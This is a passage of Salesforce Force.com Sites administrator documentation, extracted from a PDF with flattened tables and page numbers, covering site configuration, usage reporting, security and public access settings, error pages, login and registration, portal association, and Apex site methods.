The landing page that users are directed to when this site is inactive. Use the lookup field to find and select the page that you want to use. You can, for example, select a page to indicate that the site is under construction or down for maintenance. The template that provides the page layout and stylesheet for your site. The site template overrides any formatting inherited from the associated portal. Use the lookup field to find and select a template that you've developed, or use the out-of-box template provided. Note: The site template specified here is used only for Visualforce pages using the $Site.Template expression.

Site Template

Site Robots.txt

A file that determines which parts of your public site Web spiders and other Web robots can access. Web robots are often used by search engines to categorize and archive websites. HTML tags are not allowed, as they are not compatible with robots.txt spiders. For Visualforce pages, add contentType="text/plain" to the <apex:page> tag. Example disallowing all robots from indexing all pages:
<apex:page contentType="text/plain"> User-agent: * / # Applies to all robots Disallow: # Disallow indexing of all pages </apex:page>

1694

Force.com Sites

Creating and Editing Force.com Sites

Field

Description Example allowing all robots to index all pages:


<apex:page contentType="text/plain"> User-agent: * Disallow: </apex:page> # Applies to all robots # Allow indexing of all pages

Site Favorite Icon

The icon that appears in the browser's address field when visiting the site. Use this field to set the favorite icon for your entire site instead of for each page. Changes will be reflected on your site one day after you make them, due to caching. The tracking code associated with your site. This code can be used by services like Google Analytics to track page request data for your site. An Apex class to use for rewriting URLs for your site, from Salesforce URLs to user-friendly URLs. With this class, you can make rules to rewrite site URL requests typed into the address bar, launched from bookmarks, or linked from external websites. You can also create rules to rewrite the URLs for links within site pages. For more information, see Site.UrlRewriter in the Force.com Apex Code Developer's Guide.

Analytics Tracking Code

URL Rewriter Class

Enable Feeds

The option that displays the Syndication Feeds related list, where you can create and manage syndication feeds for users on your public sites. This field is visible only if you have the feature enabled for your organization.

4. Click Save.

See Also:
Force.com Sites Overview Setting Up Force.com Sites Managing Force.com Sites Configuring Force.com Sites Force.com Sites-Related Apex Methods and Expressions

1695

Force.com Sites

Configuring Force.com Sites

Configuring Force.com Sites


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed To create and edit Force.com sites: To edit public access settings for Force.com sites: Customize Application Manage Users

Once you have created your site, you can configure it on the Site Details page. To access this page, click Your Name > Setup > Develop > Sites, and then in the Sites list, click the site name. You can do the following: Click Edit to make changes to the site. Click Public Access Settings to view or edit the security settings, including permissions, page layouts, and more. Click Login Settings to configure the login and registration settings for your site. Built-in login and registration logic allows users to quickly register for, and seamlessly log in to, your portal from your public site. Click URL Redirects to see any page redirects you've set up for your site. Click Activate or Deactivate to change the active status for your site. Warning: Be careful not to expose any information that you do not want to make public.

Click Preview as Admin to view your site in administrator preview mode. Administrator preview mode shows the errors on each site page in context and in greater detail, so you can more easily troubleshoot site issues. Click Edit in the Site Visualforce Pages or Site Standard Pages related lists to select the pages available for your site. All pages associated with the site must be enabled. Click Page Assignment to assign error pages for standard errors, such as Authorization Required (401) and Page Not Found (404). You can override or edit the default pages that are provided. Click New in the Feeds related list to create a new syndication feed. You must click Enable Feeds in the Site Detail list to display this related list. View the 24-Hour Usage History related list to see current bandwidth and service request time usage, the daily limits, and the percentage used.

1696

Force.com Sites

Reporting on Force.com Sites

View the Site History related list to see the configuration changes that have been tracked for your site.

See Also:
Force.com Sites Overview Creating and Editing Force.com Sites Managing Force.com Site Visualforce Pages Managing Force.com Site Standard Pages Assigning Force.com Site Error Pages Viewing 24-Hour Force.com Sites Usage History Viewing Force.com Site History Public Access Settings for Force.com Sites Managing Force.com Site Login and Registration Settings About Syndication Feeds

Reporting on Force.com Sites


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed To install packages: To run reports: Download AppExchange Packages Run Reports AND Read on the records included in reports To create, edit, save, and delete reports: Run Reports and Read on the records included in the reports AND Create and Customize Reports To create, edit, and delete dashboards: Run Reports AND Manage Dashboards

To keep track of your site activity and usage, take advantage of the Sites Usage Reporting managed package to analyze your monthly page views, daily bandwidth, and daily service request time so you can avoid reaching monthly and daily limits for individual sites, as well as for your organization. To get started using Salesforce analytics for sites: 1. Install the Sites Usage Reporting managed package. 2. Use packaged reports to analyze site usage.

1697

Force.com Sites

Reporting on Force.com Sites

3. Optionally, create custom reports to analyze site usage. 4. Use the Site Usage Dashboard to monitor sites.

Install the Sites Usage Reporting Managed Package


The Sites Usage Reporting managed package, available on AppExchange, contains out-of-the-box reports and a dashboard for monitoring sites usage. To find the Sites Usage Reporting managed package, go to AppExchange and search on sites reporting, or go to http://sites.force.com/appexchange/listingDetail?listingId=a0N30000001SUEwEAO.

Use Packaged Reports to Analyze Site Usage


The Sites Usage Reporting managed package contains the following reports to help you perform analytics on usage for the sites in your organization. You can find these reports in the Site Usage Reports folder under All Reports in the Reports tab. You can also select Site Usage Reports in the Folder drop-down list, then click Go. Note: Site usage data is aggregated at midnight, GMT, so the current day's page view counts may not be accurately reflected in reports, depending on your time zone. Cache server page views may take a day or more to be reflected in reports. Report Current Period Page Views Description Shows the total page views for the current period (calendar month), measured against page views allowed. Page views are broken down by site and by day. The current period limit applies to all sites within the organization. Shows the total bandwidth usage over the last 30 days, broken down by site, by day, and by origin and cache servers. Shows the total page views over the last 30 days, broken down site, by day, and by origin and cache servers. Shows the total origin bandwidth usage over the last 30 days, broken down by site and by day. Shows the total origin service request time over the last 30 days, broken down by site and by day.

Daily Total Bandwidth Usage Daily Total Page Views Site Daily Origin Bandwidth Usage Site Daily Request Time Usage

Top Bandwidth Consuming Sites Shows the sites that consumed the most bandwidth during the current period. Top Resource Consuming Sites Top Sites by Page Views Shows the sites that consumed the most service request time during the current period. Shows the sites that generated the most page views during the current period.

Create Custom Reports to Analyze Site Usage


You can also create custom reports on sites: 1. From the Reports tab, click New Report. 2. For the report type, select Administrative Reports, then Site Usage Reports. You must enable sites for your organization and install the Sites Usage Reporting managed package to see the Site Usage Reports custom report type. 3. Click Create and follow the instructions for creating a custom report. Fields related to your sites, such as Site Name, Site Status, Daily Bandwidth Limit, and Daily Request Time Limit can all be used in your custom report.

1698

Force.com Sites

Force.com Sites Security

Note: When you create your own custom reports using the Site Usage Reports custom report type, be aware that the Origin Bandwidth column is measured in bytes, and the Request Time column is measured in milliseconds. Make sure you consider the difference in units when comparing these columns to the Daily Bandwidth Limit and Daily Request Time Limit columns, which are measured in megabytes and minutes, respectively. For the out-of-the-box reports included with the managed package, bandwidth is measured in megabytes and request time is measured in minutes.

Use the Site Usage Dashboard to Monitor Sites


The Sites Usage Reporting managed package contains the Site Usage Dashboard to help you monitor the sites in your organization at a glance. The dashboard contains a component for each of the reports provided in the managed package. To access the dashboard, from the Dashboards tab: Use the View Dashboard field. Or, click Go to Dashboard List and select Site Usage Dashboard from the dashboard list.

To modify the dashboard, click Edit and follow the instructions for editing dashboards. You can also create your own custom dashboard using any custom reports you may have created. Consider adding the Site Usage Dashboard as the dashboard snapshot on your home page.

See Also:
Force.com Sites Overview Viewing 24-Hour Force.com Sites Usage History Tracking Your Force.com Site with Google Analytics Reporting on Salesforce Data Dashboards Overview

Force.com Sites Security


Available in: Developer, Enterprise, and Unlimited Editions

Consider the following security issues when setting up your Force.com site: If the Require Secure Connections (HTTPS) checkbox on the Session Settings page is selected, and the Require Non-Secure Connections (HTTP) checkbox on the Login Settings page is not selected, users logging in to the associated portal from the site will see the secure.force.com domain. For example, if you registered mycompany.force.com as your custom domain, the URL changes to https://mycompany.secure.force.com upon login. For more information, see Managing Force.com Site Login and Registration Settings. Customers using a script to login to sites can use the optional refURL URL parameter to retain the custom domain name after login. This parameter has no effect if Require Non-Secure Connections (HTTP) has been set for the site or Require Secure Connections (HTTPS) has been set for the organization. An example URL using refURL is: http://mysite.secure.force.com/SiteLogin?refURL=http://mysite.com. To set restrictions based on IP or login hours, HTTPS is required. You must use the secure URL associated with your Force.com domain to access your site.

1699

Force.com Sites

Public Access Settings for Force.com Sites

To enforce HTTPS on all Force.com sites pages and allow all IP addresses to access your site, create the following IP ranges: 0.0.0.0 to 255.255.255.255, :: to ::fffe:ffff:ffff, and ::1:0:0:0 to ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff. However, as this may degrade the performance of your site, don't enforce HTTPS unless it is absolutely required. Changing from HTTP to HTTPS doesn't affect logged in users until the next time they log in. Authenticated and non-authenticated users may see different error messages for certain conditionsfor example, on Apex exceptions. Only production organizations have the valid secure.force.com SSL certificates to access sites using HTTPS. Note: If a site within a sandbox (non-production) organization is accessed using HTTPS, a certificate name mismatch warning may appear.

Cache settings on static resources are set to private when accessed via a Force.com site whose guest user's profile has restrictions based on IP range or login hours. Sites with guest user profile restrictions cache static resources only within the browser. Also, if a previously unrestricted site becomes restricted, it can take up to 45 days for the static resources to expire from the Salesforce cache and any intermediate caches. Warning: We recommend setting the sharing to private for the objects on which you grant Read access for your site. This ensures that users accessing your site can view and edit only the data related to your site. We also recommend securing the visibility of all list views. Set the visibility of your list views to Visible to certain groups of users, and specify the groups to share to. List views whose visibility is set to Visible to all users may be visible to public users of your site. To share a list view with public users, create a new public group for those users and give them visibility. If the object's sharing is set to private, public users won't be able to see those records, regardless of list view visibility.

Public Access Settings for Force.com Sites


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed To create and edit Force.com sites: To edit public access settings for Force.com sites: Customize Application Manage Users

Public access settings control what public users can do on each Force.com site. To set the public access settings for your site: 1. Click Your Name > Setup > Develop > Sites. 2. Click the name of the site you want to control. 3. Click Public Access Settings to open the Profile page for your site profile. This page includes all the functionality for viewing and editing profile permissions and settings, but you can't clone or delete the profile. For information on viewing and editing profiles, see User Profiles Overview on page 525. In the site profile, you can:

1700

Force.com Sites

Public Access Settings for Force.com Sites

Set the object permissions for your site. You can grant Read and Create permissions on all standard objects except products, price books, and ideas; and Read, Create, Edit, and Delete on all custom objects. All permissions that aren't set by default must be set manually. Warning: We recommend setting the sharing to private for the objects on which you grant Read access for your site. This ensures that users accessing your site can view and edit only the data related to your site. We also recommend securing the visibility of all list views. Set the visibility of your list views to Visible to certain groups of users, and specify the groups to share to. List views whose visibility is set to Visible to all users may be visible to public users of your site. To share a list view with public users, create a new public group for those users and give them visibility. If the object's sharing is set to private, public users won't be able to see those records, regardless of list view visibility.

Control the visibility of custom apps. If you want to expose a custom app and its associated tabs to public users, make only that app visible and make it the default to avoid exposing other pages. If any of your site pages use standard Salesforce headers, other visible applications may be seen by public users. Set the login hours during which users can access the site. Restrict the IP address ranges from which you can access the site. Force.com sites ignore company-wide IP range restrictions in order to provide public access; however, you can restrict the IP range here. Note: To set restrictions based on IP or login hours, HTTPS is required. You must use the secure URL associated with your Force.com domain to access your site. To enforce HTTPS on all Force.com sites pages and allow all IP addresses to access your site, create the following IP ranges: 0.0.0.0 to 255.255.255.255, :: to ::fffe:ffff:ffff, and ::1:0:0:0 to ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff. However, as this may degrade the performance of your site, don't enforce HTTPS unless it is absolutely required. Changing from HTTP to HTTPS doesn't affect logged in users until the next time they log in. Both IP addresses in a range must be either IPv4 or IPv6. In ranges, IPv4 addresses exist in the IPv4-mapped IPv6 address space ::ffff:0:0 to ::ffff:ffff:ffff, where ::ffff:0:0 is 0.0.0.0 and ::ffff:ffff:ffff is 255.255.255.255. A range can't include IP addresses inside of the IPv4-mapped IPv6 address space if it also includes IP addresses outside of the IPv4-mapped IPv6 address space. Ranges such as 255.255.255.255 to ::1:0:0:0 or :: to ::1:0:0:0 are not allowed. You can set up IPv6 addresses in all organizations, but IPv6 is only enabled for login in sandbox organizations for the Spring '12 release.

Enable Apex controllers and methods for your site. Controllers and methods that are already associated with your site's Visualforce pages are enabled by default. Enable Visualforce pages for your site. Changes made here are reflected on the Site Visualforce Pages related list on the Site Details page, and vice versa.

See Also:
Force.com Sites Overview Setting Up Force.com Sites Configuring Force.com Sites Force.com Sites-Related Apex Methods and Expressions Setting Your Organization-Wide Sharing Defaults Overview of Sharing Settings Creating Custom List Views

1701

Force.com Sites

Managing Force.com Site Visualforce Pages

Managing Force.com Site Visualforce Pages


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed To create and edit Force.com sites: Customize Application

Force.com sites uses Visualforce pages for all site and error pages. Sample error pages use the SiteSamples static resource for their stylesheet and images. Warning: Don't rename or delete SiteSamples or you may get an error.

All pages that you want to expose on a site must be associated with that site. If a page is not listed under Site Visualforce Pages, an authentication or page-not-found error is displayed based on the existence of the page. To enable Visualforce pages for your site: 1. 2. 3. 4. 5. Click Your Name > Setup > Develop > Sites. Click the name of the site you want to modify. Click Edit on the Site Visualforce Pages related list. Use the Add and Remove buttons to enable or disable Visualforce pages for your site. Click Save. Note: If you select a Visualforce page for any of the lookup fields on the Site Detail page, any of the error pages, or the Change Password Page under login settings, that page is automatically enabled for your site. If you remove a page from this list, but it is still selected in one of these places, public users can access that page. To completely remove pages from your site, disable them here and make sure they are not selected in any lookup fields for your site. If you don't want to enable a Visualforce page for your entire site, you can also enable pages for specific profiles.

The My Profile Page


The My Profile page is a Visualforce page associated with a Customer Portal or site user's profile. The My Profile page enables users logged into either your Force.com site, or your Customer Portal from Force.com sites, to update their own contact information. When they make changes to this page, the corresponding portal user and contact records are updated. The My Profile page can be enabled either for your entire site or in a more restricted way by assigning it to the site guest user profile.

1702

Force.com Sites

Managing Force.com Site Standard Pages

The My Profile page is also delivered as part of the Customer Portal Welcome component on your home page layout. For more information, see Designing Home Tab Page Layouts.

See Also:
Force.com Sites Overview Setting Up Force.com Sites Configuring Force.com Sites Managing Force.com Site Standard Pages Assigning Force.com Site Error Pages What is a Static Resource?

Managing Force.com Site Standard Pages


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed To create and edit Force.com sites: Customize Application

Force.com sites uses Visualforce pages for all site and error pages. Force.com also provides some standard pages that you can use. All pages that you want to expose on a site must be enabled for that site. If a page is not listed under Site Standard Pages, Salesforce displays an authorization required error. To control which standard pages users see for your site: 1. 2. 3. 4. Click Your Name > Setup > Develop > Sites. Click the name of the site you want to view. Click Edit on the Site Standard Pages related list. Use the Add and Remove buttons to enable or disable the following standard pages for your site: Home PageThe standard page associated with the Home tab (/home/home.jsp). Ideas PagesThe standard pages associated with ideas. If you want to use default ideas pages (for example, IdeasHome), enable these pages. Answers PagesThe standard pages associated with answers. If you want to use default answers pages (for example, AnswersHome), enable these pages. Search PagesThe standard Salesforce search pages. To allow public users to perform standard searches, enable these pages. Lookup PagesThe standard Salesforce lookup pages. These are the popup windows associated with lookup fields on Visualforce pages.

5. Click Save.

1703

Force.com Sites

Assigning Force.com Site Error Pages

Note: Make sure to disable any pages that you are not actively using in your site. Otherwise, they may be accessible to public users. Also, make sure to set up private sharing to restrict search and lookup access for public users.

See Also:
Force.com Sites Overview Setting Up Force.com Sites Configuring Force.com Sites Managing Force.com Site Visualforce Pages Assigning Force.com Site Error Pages

Assigning Force.com Site Error Pages


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed To create and edit Force.com sites: Customize Application

Force.com sites uses Visualforce pages for all site and error pages. Sample error pages use the SiteSamples static resource for their stylesheet and images. Warning: Don't rename or delete SiteSamples or you may get an error.

To set the error pages for your site: 1. 2. 3. 4. Click Your Name > Setup > Develop > Sites. Click the name of the site you want to modify. Click Page Assignment on the Error Pages related list. Using the lookup fields, assign a Visualforce page or static resource for each of the standard error conditions listed:
Authorization Required PageThe page users see when trying to access pages for which they do not have

authorization.
Limit Exceeded PageThe page users see when your site has exceeded its bandwidth limits. Maintenance PageThe page users see when your site is down for maintenance. Service Not Available PageThe page users see when Salesforce servers are unavailable. This custom page is

rendered from a static resource that you choose. The static resource is uploaded to the cache server when assigned as the Service Not Available page, and when updated after assignment. The custom page is shown for HTTP requests only; caching is not used for HTTPS. Not available for Developer Edition or sandbox organizations. If you haven't set a custom page for a site that uses a site prefix, the custom page for the root site is used when servers are unavailable. For example, if http://mycompany.force.com/sales doesn't have a custom page, but http://mycompany.force.com does, that custom page is used. Otherwise, the Maintenance page is shown by default.

1704

Force.com Sites

Viewing 24-Hour Force.com Sites Usage History

Note: The static resource: Must be a public .zip file 1 MB or smaller. Must contain a page named maintenance.html at the root level of the .zip file. Other resources in the .zip file, such as images or CSS files, can follow any directory structure. Must contain only files that have file extensions.
Page Not Found PageThe page users see when trying to access a page that cannot be found. You can use the action attribute on an <apex:page> component to redirect the Page Not Found error page. Using this kind of redirect

on any other error pages will redirect users to the Maintenance page. Generic Error PageThe page users see when encountering generic exceptions. Note: When using static resources in a custom error pagesuch as a large image file or a large CSS file contained in a static resource .zip fileeach individual resource must be no larger than 50KB. Otherwise, a 404 not found error is returned for that resource.

5. Click Save. 6. On the Site Details page, click Preview to view the associated page as it would appear in a browser. Tip: Add the <site:previewAsAdmin /> component right before the closing </apex:page> tag in your custom Visualforce error pages to view detailed site error messages in administrator preview mode.

See Also:
Force.com Sites Overview Setting Up Force.com Sites Configuring Force.com Sites Managing Force.com Site Visualforce Pages Managing Force.com Site Standard Pages

Viewing 24-Hour Force.com Sites Usage History


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed To create and edit Force.com sites: Customize Application

Monitor the bandwidth and request time usage for each of your sites by viewing the usage data tracked on this related list. By closely monitoring your sites, you can avoid exceeding your limits. To view the 24-hour usage history for your site: 1. Click Your Name > Setup > Develop > Sites. 2. Click the name of the site you want to view.

1705

Force.com Sites

Viewing Force.com Site History

3. View the 24-Hour Usage History related list. Usage information may be delayed by up to several minutes due to processing time. The 24-Hour Usage History related list tracks and displays the following usage metrics for your site: Metric Origin Bandwidth Request Time How It's Calculated Bandwidth is calculated as the number of megabytes served and received from the site's origin server. The Daily Limit applies to a rolling 24-hour period. Service request time is calculated as the total server time in minutes required to generate pages for the site. The Daily Limit applies to a rolling 24-hour period.

Origin server refers to the Web server that hosts your site. Rolling 24-hour period refers to the 24 hours immediately preceding the current time. For each metric, the related list displays Current Usage, Daily Limit, and the Percent Used.

See Also:
Force.com Sites Overview Force.com Sites Considerations Setting Up Force.com Sites Configuring Force.com Sites Tracking Your Force.com Site with Google Analytics Reporting on Force.com Sites

Viewing Force.com Site History


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed To create and edit Force.com sites: Customize Application

To view the site history: 1. Click Your Name > Setup > Develop > Sites. 2. Click the name of the site you want to view. 3. View the Site History related list. The Site History related list tracks and displays the changes made to your site. All of the following events are tracked in the site history, along with the user who made the change and the time it occurred: Event Site Creation Description Logs when each site was created.

1706

Force.com Sites

Viewing Force.com Site History

Event Site Detail Changes

Description Changes to the following site values are logged: Site Label Site Name Site Description Site Contact Default Web Address Custom Web Address Active Status Active Site Home Page Inactive Site Home Page Site Template Site Robots.txt Site Favorite Icon Analytics Tracking Code Enable Feeds Logs when any standard page is enabled or disabled. Logs when any error page assignment is changed. Changes to the following login settings are logged: Portal Change Password Page Require Non-Secure Connections (HTTP) Logs when any URL redirect is created, deleted, enabled, disabled, or changed.

Site Standard Pages Site Error Pages Login Settings Changes

URL Redirect Changes

See Also:
Force.com Sites Overview Setting Up Force.com Sites Configuring Force.com Sites

1707

Force.com Sites

Managing Force.com Site Login and Registration Settings

Managing Force.com Site Login and Registration Settings


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed To create and edit Force.com sites: Customize Application

Use login settings if you want to let users register for and log in to your portal from your public Force.com site. For example, users browsing through an ideas site can register and login directly from that site, and as authenticated users, they can then vote, add comments, and participate in the ideas community. When users successfully log in, they leave the public site and enter the associated portal seamlessly. Note: Only Customer Portals can be used for self-registration. Partner portals do not support self-registration. The Authenticated Website high-volume portal user license is specifically designed to be used with Force.com sites. Because it's designed for high volumes, it should be a cost-effective option to use with Force.com sites. Force.com sites provides built-in registration and login logic. Default Force.com-branded Visualforce pages are associated with registration, login, forgot password, and password changes. You can modify these pages or replace them with your own. The following login, and registration pages are provided by default: Page Name SiteLogin SiteRegister SiteRegisterConfirm Description Default login page. Used to log users in to the associated portal from your Force.com site. Default registration page. Used to register new users for the associated Customer Portal from your Force.com site. Default registration confirmation page. The page that users see on successful registration to the associated Customer Portal.

Note: The login and registration forms must be secure. Set the forceSSL attribute to true for these forms. However, salesforce.com recommends that you set forceSSL to false for forms accessed by users who have already been authenticated, such as portal users. Since the forceSSL attribute forces a redirect to a secure URL, authenticated users would encounter an error. The built-in login process: Checks to see whether the site is enabled for logins Checks to see whether the user is a valid user for the site Allows users to reset expired passwords

The built-in registration process:

1708

Force.com Sites

Managing Force.com Site Login and Registration Settings

Checks new user information against existing users for the Customer Portal associated with the site Checks to see if a contact already exists for the new user Creates a new contact, if one doesn't already exist, and associates it with the account for the site Important: You must update the SiteRegisterController with the Account ID using the following steps: 1. Click Your Name > Setup > Develop > Apex Classes. 2. Click Edit next to SiteRegisterController. 3. Find the private static Id PORTAL_ACCOUNT_ID = '<Account_ID>'; line and insert the ID for the account that you want to associate with new users. The line should look similar to this:
private static Id PORTAL_ACCOUNT_ID = '001DoooooolQpyk';

4. Click Save. Enables the Customer Portal for the new user and sends an email confirmation message Optionally, allows users to create passwords on the registration page, avoiding the standard email confirmation process Note: You can create and enable a person account as a Customer Portal user using the createPersonAccountPortalUser Apex method. Use createPersonAccountPortalUser to create a person account using either the default record type defined on the guest user's profile or a specified record type, then enable it for the site's portal. Person Accounts can only be enabled as high-volume portal users. For more information, see the Force.com Apex Code Developer's Guide. To enable public login and registration for your portal: 1. 2. 3. 4. 5. Click Your Name > Setup > Develop > Sites. Click the name of the site you want to control. Click Login Settings. Click Edit. From the Enable Login For list, select a portal to associate with your site. The portal you choose must have the Login Enabled option selected. For Customer Portals, you must also select the Self-Registration Enabled option. Force.com Sites leverages the following portal settings:
Logout URL is used if you want to take users to a specific page on logout. If this value is left blank, users are taken to the page specified in the Active Site Home Page field for your site. Lost Password Template is used for the forgot password process. Header, Footer, Logo, and Login Message are used for the look and feel on IdeasHome and AnswersHome pages.

For Customer Portals: New User Template is used on self-registration if a password is not provided. Default New User License, Default New User Role, and Default New User Profile are used for self-registration.

6. Select a Change Password Page. A default page is provided, but you can select your own page instead, using the lookup field. 7. Select the Require Non-Secure Connections (HTTP) checkbox if you want to override your organization's security settings and exclusively use HTTP when logging in to the portal from your site. If this checkbox is not selected, the

1709

Force.com Sites

Managing Force.com Site Login and Registration Settings

Require Secure Connections (HTTPS) setting found at Your Name > Setup > Security Controls > Session

Settings is used to determine the security level. The following table illustrates the relationship between these settings. Site-Level Security: Require Non-Secure Connections (HTTP) Not checked Organization-Level Security: Require Description Secure Connections (HTTPS) Not checked Organization can use either HTTP or HTTPS Site uses HTTP for the post-login session Organization can use either HTTP or HTTPS Site uses HTTP for the post-login session Organization uses only HTTPS Site uses HTTPS for the post-login session Upon login, users see the secure.force.com domain Organization uses only HTTPS Site uses HTTP for the post-login session

Checked

Not checked

Not checked

Checked

Checked

Checked

Warning: If the Require Secure Connections (HTTPS) checkbox on the Session Settings page is selected, and the Require Non-Secure Connections (HTTP) checkbox on the Login Settings page is not selected, users logging in to the associated portal from the site will see the secure.force.com domain. For example, if you registered mycompany.force.com as your custom domain, the URL changes to https://mycompany.secure.force.com upon login. Customers using a script to login to sites can use the optional refURL URL parameter to retain the custom domain name after login. This parameter has no effect if Require Non-Secure Connections (HTTP) has been set for the site or Require Secure Connections (HTTPS) has been set for the organization. An example URL using refURL is: http://mysite.secure.force.com/SiteLogin?refURL=http://mysite.com. 8. The Secure Web Address field shows the unique Force.com URL for this site when using SSL. 9. Click Save. You can also enable Sites to use your identity provider for single sign-on.

1710

Force.com Sites

Associating a Portal with Force.com Sites

Note: For ideas and answers, the community associated with the portal must have one or all portals selected in the Portal drop-down list on the community detail page. To find the community detail page, click Your Name > Setup > Customize > Ideas > Communities or Your Name > Setup > Customize > Answers > Communities.

See Also:
Force.com Sites Overview Setting Up Force.com Sites Configuring Force.com Sites Associating a Portal with Force.com Sites Force.com Sites-Related Apex Methods and Expressions Setting Up Your Customer Portal

Associating a Portal with Force.com Sites


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed To create and edit Force.com sites: Customize Application

You can enable users to register for or log into an associated portal seamlessly from your site. Note: Only Customer Portals can be used for self-registration. Partner portals do not support self-registration. The Authenticated Website high-volume portal user license is specifically designed to be used with Force.com sites. Because it's designed for high volumes, it should be a cost-effective option to use with Force.com sites. 1. Enable the portal for login using the following steps: a. Click Your Name > Setup > Customize > Customer Portal > Settings, or click Your Name > Setup > Customize > Partners > Settings. b. If you have not enabled your portal, select Enable Customer Portal or Enable Partner Relationship Management and click Save. c. Click Edit for the portal you want to modify. d. Configure the portal as follows: i. Select the Login Enabled checkbox. ii. Select a user for the Administrator field. iii. Optionally, set the Logout URL. If this is not set, users are taken to the site home page on logout. iv. Click Save. 2. If you are using a Customer Portal and want to allow self-registration, follow these steps: a. Click Your Name > Setup > Customize > Customer Portal > Settings.

1711

Force.com Sites

Associating a Portal with Force.com Sites

b. Click Edit for the portal you want to associate with your Force.com site. c. Configure the Customer Portal as follows: i. Select Self-Registration Enabled. ii. Select Customer Portal User for both the Default New User License and Default New User Profile fields. Depending on your portal license, you may want to select a different profile for the Default New User Profile field. iii. Select User for the Default New User Role field. iv. Click Save. Note: Consider the following when allowing self-registration: Sites does not support the use of Person Accounts for self registration. On self-registration through a site: Validation rules are enforced on user creation. Validation rules are ignored on contact creation.

3. Associate the site pages with the default portal users: a. Click Your Name > Setup > Customize > Customer Portal > Settings, or click Your Name > Setup > Customize > Partners > Settings. b. Click the name of the portal that you want to associate with your site. c. Click the name of each profile associated with your portal users and do the following: i. Scroll down to the Enabled Visualforce Page Access section and click Edit. ii. Add the appropriate public site pages to the Enabled Visualforce Pages list. This allows portal users with that profile to view these pages. Note: By default, portal users can see all pages enabled for the associated public site, so you only have to enable the pages that require authentication. iii. Click Save. 4. Associate your site with the login-enabled portal: a. b. c. d. e. f. g. Click Your Name > Setup > Develop > Sites. Click the site label of the site you want to configure. Click Login Settings. Click Edit. From the Enable Login For drop-down list, select the name of the portal where you want to allow login. Select the Change Password Page. Click Save.

For ideas and answers sites, you must make the community visible in the portal and enable the IdeasHome or AnswersHome page for the site. To associate the community with one or more portals:

1712

Force.com Sites

Force.com Sites-Related Apex Methods and Expressions

1. Click Your Name > Setup > Customize > Ideas > Communities or Your Name > Setup > Customize > Answers > Communities. 2. Click Edit next to the community you want to make public. 3. From the Portal drop-down list, select the portal to use for this community. You can choose to show the community in all portals. Note: For ideas to work with sites, the organization must have an active portal associated with that community. Otherwise, users will encounter errors.

See Also:
Force.com Sites Overview Setting Up Force.com Sites Configuring Force.com Sites Managing Force.com Site Login and Registration Settings Setting Up Your Customer Portal

Force.com Sites-Related Apex Methods and Expressions


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed To create and edit Force.com sites: Customize Application

Force.com Apex Methods


Force.com provides the following Apex methods for use with the site class and Force.com sites: Name
changePassword

Arguments String newpassword String


verifynewpassword

Return Type System.PageReference

Description Changes the password of the current user.

String opt_oldpassword
createPersonAccount PortalUser

sObject user String ownerId String password

ID

Creates a person account using the default record type defined on the guest user's profile, then enables it for the site's portal. Note: This method is only valid when a site is associated with a Customer Portal, and when the user license for

1713

Force.com Sites

Force.com Sites-Related Apex Methods and Expressions

Name

Arguments

Return Type

Description the default new user profile is a high-volume portal user.

createPersonAccount PortalUser

sObject user String ownerId String recordTypeId String password

ID

Creates a person account using the specified recordTypeID, then enables it for the site's portal. Note: This method is only valid when a site is associated with a Customer Portal, and when the user license for the default new user profile is a high-volume portal user.

createPortalUser

sObject user String accountId String opt_password Boolean


opt_sendEmailConfirmation

ID

Creates a portal user for the given account and associates it with the site's portal. The optional opt_password argument is the password of the portal user. If not specified, or if set to null or an empty string, this method sends a new password email to the portal user. The optional
opt_sendEmailConfirmation

argument determines whether a new user email is sent to the portal user. Set it to true to send a new user email to the portal user. The default is false, that is, the new user email isn't sent. The nickname field is required for the user sObject when using the createPortalUser method. Note: This method is only valid when a site is associated with a Customer Portal.
forgotPassword

String username

Boolean

Resets the user's password and sends an email to the user with their new password. Returns a value indicating whether the

1714

Force.com Sites

Force.com Sites-Related Apex Methods and Expressions

Name

Arguments

Return Type

Description password reset was successful or not.

getAdminEmail getAdminId getAnalyticsTrackingCode

String ID String

Returns the email address of the site administrator. Returns the user ID of the site administrator. The tracking code associated with your site. This code can be used by services like Google Analytics to track page request data for your site. Returns the value of the site URL for the current request (for example, http://myco.com/ or https://myco.force.com/prefix/). Returns the value of the Custom Web Address field for the current site. Returns the Force.com domain name for your organization. Returns the error description for the current page if it is a designated error page for the site and an error exists; otherwise, returns an empty string. Returns an error message for the current page if it is a designated error page for the site and an error exists; otherwise, returns an empty string. Returns the API name of the current site. Returns the original URL for this page if it is a designated error page for the site; otherwise, returns null. Returns the URL path prefix of the current site. For example, if your site URL is myco.force.com/partners, partners is the path prefix. Returns null if the prefix is not defined, or if the page was accessed using a custom Web address.

getCurrentSiteUrl

String

getCustomWebAddress

String

getDomain getErrorDescription

String String

getErrorMessage

String

getName getOriginalUrl

String String

getPrefix

String

1715

Force.com Sites

Force.com Sites-Related Apex Methods and Expressions

Name
getTemplate

Arguments

Return Type System.PageReference

Description Returns the template name associated with the current site; returns the default template if no template has been designated. Returns true if the current site is associated with an active login-enabled portal; otherwise returns false. For authenticated users, returns true if the currently logged-in user's password is expired. For non-authenticated users, returns false. Returns true if the current site is associated with an active self-regitration-enabled Customer Portal; otherwise returns false. Allows users to log in to the current site with the given username and password, then takes them to the startUrl If startUrl is not a relative path, it defaults to the site's designated index page. Note: Do not include http:// or https:// in the startURL.

isLoginEnabled

Boolean

isPasswordExpired

Boolean

isRegistrationEnabled

Boolean

login

String username String password String startUrl

System.PageReference

setPortalUserAsAuthProvider sObject user

Void

String contactId

Sets the specified user information within the sites portal via an authentication provider. This method is only valid when a site is associated with a Customer Portal. For more information on an authentication provider, see Auth.RegistrationHandler.

Force.com provides the following Apex methods for use with the cookie class and Force.com sites: Name
getDomain

Arguments

Return Type String

Description Returns the name of the server making the request.

1716

Force.com Sites

